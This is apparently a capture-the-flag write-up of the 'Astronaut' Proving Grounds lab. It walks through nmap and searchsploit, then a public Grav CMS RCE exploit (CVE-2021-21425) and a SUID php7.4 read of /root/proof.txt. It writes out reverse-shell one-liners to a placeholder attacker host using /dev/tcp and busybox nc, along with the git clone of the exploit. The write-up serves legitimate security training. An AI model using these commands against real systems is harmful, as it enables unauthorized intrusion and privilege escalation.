Skip to content
HackIndex logo

HackIndex

Astronaut Writeup - Proving Grounds

Easy Linux

Last updated July 14, 2026 6 min read

Joshua

HackIndex Creator

This box was a short two-stage path. The web root exposed a Grav admin directory, Grav gave unauthenticated code execution as www-data, and a SUID php7.4 binary turned that foothold into root by reading /root/proof.txt.

Discovery

A full TCP sweep exposed SSH on 22 and Apache on 80. The HTTP service was the path forward because the web root listed a grav-admin/ directory directly.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
[+] Discovering all open TCP ports...
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100
Nmap scan report for $TARGET_IP
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds
[+] Parsing open TCP ports...
[+] Running scripts & versions on TCP ports: 22,80
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-09 18:00 +0100
Nmap scan report for $TARGET_IP
Host is up (0.019s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Index of /
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds

Browsing to http://$TARGET_IP/grav-admin/ confirmed Grav. The admin interface was also exposed at http://$TARGET_IP/grav-admin/admin, so the next move was checking Grav-specific public exploits instead of spending more time on generic web enumeration.

Grav Identification

searchsploit returned a small set of Grav issues. The result that mattered was the Grav RCE entry.

┌──(kali㉿kali)-[~]
└─$ searchsploit grav
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                            |  Path
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Grav CMS 1.4.2 Admin Plugin - Cross-Site Scripting                                                                                                                        | php/webapps/42131.txt
Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting                                                                                        | php/webapps/49264.txt
Grav CMS 1.7.10 - Server-Side Template Injection (SSTI) (Authenticated)                                                                                                   | php/webapps/49961.py
Grav CMS 1.7.48 - Remote Code Execution (RCE)                                                                                                                             | php/webapps/52402.txt
GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)                                                                                                        | php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit)                                                                                                        | php/webapps/49788.rb
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------

The notes for php/webapps/52402.txt pointed to CVE-2021-21425. For exploitation, the working PoC used here was the public Python file exploit.py from the bluetoothStrawberry/cve-2021-21425 repository. That gave an unauthenticated path straight into command execution, so the next move was running that PoC against /grav-admin.

Initial Access

Grav RCE

Pull the PoC and run it against the exposed Grav path.

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/bluetoothStrawberry/cve-2021-21425.git
┌──(kali㉿kali)-[~]
└─$ cd cve-2021-21425
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py -u http://$TARGET_IP/grav-admin
Waiting 1 seconds for http://$TARGET_IP/grav-admin/tmp/60fbe3228b8d5a7b.php creation!
Initiating hacking session
$ whoami
www-data

$ pwd
/var/www/html/grav-admin/tmp

The exploit landed as www-data inside Grav’s temp directory. That was enough for command execution, but working inside the exploit prompt was slower than using a reverse shell. The next move was to call back with busybox nc.

Reverse Shell

Start the listener.

┌──(kali㉿kali)-[~]
└─$ rslisten $ATTACKER_PORT tun1
[LINUX] /bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
[LINUX] busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash

listening on [$ATTACKER_IP] $ATTACKER_PORT ...

From the Grav exploit shell, send the callback.

user@host ~ $ busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 39032

That converted the web RCE into a stable shell as www-data. With no immediate user credentials in hand, the fastest next move was a SUID sweep.

Privilege Escalation

SUID Enumeration

A full SUID search returned mostly standard binaries. One entry stood out immediately: /usr/bin/php7.4 was SUID root.

user@host ~ $ find / -user root -perm -4000 -type f -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-x 1 root root 85064 Nov 29  2022 /snap/core20/1852/usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Nov 29  2022 /snap/core20/1852/usr/bin/chsh
-rwsr-xr-x 1 root root 88464 Nov 29  2022 /snap/core20/1852/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Feb  7  2022 /snap/core20/1852/usr/bin/mount
-rwsr-xr-x 1 root root 44784 Nov 29  2022 /snap/core20/1852/usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Nov 29  2022 /snap/core20/1852/usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Feb  7  2022 /snap/core20/1852/usr/bin/su
-rwsr-xr-x 1 root root 166056 Jan 16  2023 /snap/core20/1852/usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Feb  7  2022 /snap/core20/1852/usr/bin/umount
-rwsr-xr-- 1 root systemd-resolve 51344 Oct 25  2022 /snap/core20/1852/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 473576 Mar 30  2022 /snap/core20/1852/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 85064 Mar 14  2022 /snap/core20/1611/usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Mar 14  2022 /snap/core20/1611/usr/bin/chsh
-rwsr-xr-x 1 root root 88464 Mar 14  2022 /snap/core20/1611/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Feb  7  2022 /snap/core20/1611/usr/bin/mount
-rwsr-xr-x 1 root root 44784 Mar 14  2022 /snap/core20/1611/usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Mar 14  2022 /snap/core20/1611/usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Feb  7  2022 /snap/core20/1611/usr/bin/su
-rwsr-xr-x 1 root root 166056 Jan 19  2021 /snap/core20/1611/usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Feb  7  2022 /snap/core20/1611/usr/bin/umount
-rwsr-xr-- 1 root systemd-resolve 51344 Apr 29  2022 /snap/core20/1611/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 473576 Mar 30  2022 /snap/core20/1611/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 123560 Feb 22  2023 /snap/snapd/18596/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 146888 Dec  1  2022 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 53040 Nov 29  2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 67816 Feb  7  2022 /usr/bin/su
-rwsr-xr-x 1 root root 39144 Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 85064 Nov 29  2022 /usr/bin/chfn
-rwsr-xr-x 1 root root 39144 Feb  7  2022 /usr/bin/umount
-rwsr-xr-x 1 root root 166056 Jan 16  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 68208 Nov 29  2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 44784 Nov 29  2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 55528 Feb  7  2022 /usr/bin/mount
-rwsr-xr-x 1 root root 4786104 Feb 23  2023 /usr/bin/php7.4
-rwsr-xr-x 1 root root 88464 Nov 29  2022 /usr/bin/gpasswd

Nothing else on that list beat a SUID PHP binary for speed. That turned privesc into a file-read problem instead of a user pivot or sudo path. The next move was reading the proof directly from /root.

Reading /root/proof.txt

┌──(kali㉿kali)-[~]
└─$ /usr/bin/php7.4 -r 'echo file_get_contents("/root/proof.txt");'
[HIDDEN]

That completed the box. The exploit chain was short and direct: exposed Grav admin path, unauthenticated Grav RCE as www-data, then SUID php7.4 to read the root proof file.

References